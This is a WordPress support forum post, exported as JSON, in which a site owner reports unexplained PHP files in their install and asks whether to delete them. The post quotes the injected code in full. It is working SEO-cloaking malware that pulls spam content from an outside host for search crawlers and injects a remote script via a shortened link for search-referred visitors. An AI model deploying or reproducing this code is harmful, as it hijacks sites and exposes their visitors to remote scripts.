{"id":9098471,"date":"2017-05-04T20:08:45","date_gmt":"2017-05-04T20:08:45","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/many-strange-php-files\/"},"modified":"2017-05-04T20:08:45","modified_gmt":"2017-05-04T20:08:45","slug":"many-strange-php-files","status":"publish","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/many-strange-php-files\/","title":{"rendered":"Many strange php files"},"content":{"rendered":"<p>Hi guys, I&#8217;ve found many strange php files in the WP directory, such as barn.php, tern.php, tium.php and many more. These seem to have been added between April 1st and 4th. There is a strange code:<\/p>\n<pre><code>&lt;?php\nfunction gethttpcnt($url,$timeout = 5){\n$ch = curl_init();\ncurl_setopt($ch, CURLOPT_URL, $url);\ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\ncurl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);\n$cnt = curl_exec($ch);\ncurl_close($ch);\nreturn $cnt;}\n$houzui=stripslashes($_SERVER[&#039;QUERY_STRING&#039;]);\nif($houzui==&#039;&#039;){\n$ncontent=gethttpcnt(&quot;http:\/\/www.jptop.cc\/hy\/zt\/0404\/101wh.com\/list.txt&quot;);\n$newcontent=explode(&quot;||&quot;,$ncontent);\n$content=gethttpcnt($newcontent[0]);\nif(stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;Googlebot&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;yahoo&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;bingbot&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;msnbot&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;aol&#039;)){\necho $content;}\n}else{\n$nhouzui=explode(&quot;.&quot;,$houzui);\n$nmulu=explode(&quot;_&quot;,$nhouzui[0]);\n$content=gethttpcnt(&quot;http:\/\/www.jptop.cc\/hy\/zt\/0404\/101wh.com\/&quot;.$nmulu[0].&quot;\/&quot;.$nmulu[1].&#039;.txt&#039;);\nif(stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;Googlebot&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;yahoo&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;bingbot&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;msnbot&#039;)||stristr($_SERVER[&#039;HTTP_USER_AGENT&#039;],&#039;aol&#039;)){\necho $content;}}\nif(stristr($_SERVER[&#039;HTTP_REFERER&#039;],&quot;google&quot;)||stristr($_SERVER[&#039;HTTP_REFERER&#039;],&quot;yahoo&quot;)||stristr($_SERVER[&#039;HTTP_REFERER&#039;],&quot;bing&quot;)||stristr($_SERVER[&#039;HTTP_REFERER&#039;],&quot;msn&quot;)||stristr($_SERVER[&#039;HTTP_REFERER&#039;],&quot;aol&quot;)){\n$lang = substr($_SERVER[&#039;HTTP_ACCEPT_LANGUAGE&#039;], 0, 4);\nif (preg_match(&quot;\/zh-c\/i&quot;, $lang)==false||preg_match(&quot;\/zh-c\/i&quot;, $lang)==0){\necho &quot;&lt;script type=&#039;text\/javascript&#039; src=&#039;http:\/\/bit.ly\/1s9BoaN&#039;&gt;&lt;\/script&gt;&lt;\/html&gt;&quot;;\n}\n}\n?&gt;<\/code><\/pre>\n<p>Should I delete them?<\/p>\n<p>Thanks.<br \/>\n-mbg<\/p>\n","protected":false},"template":"","class_list":["post-9098471","topic","type-topic","status-publish","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9098471","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/9098471\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=9098471"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}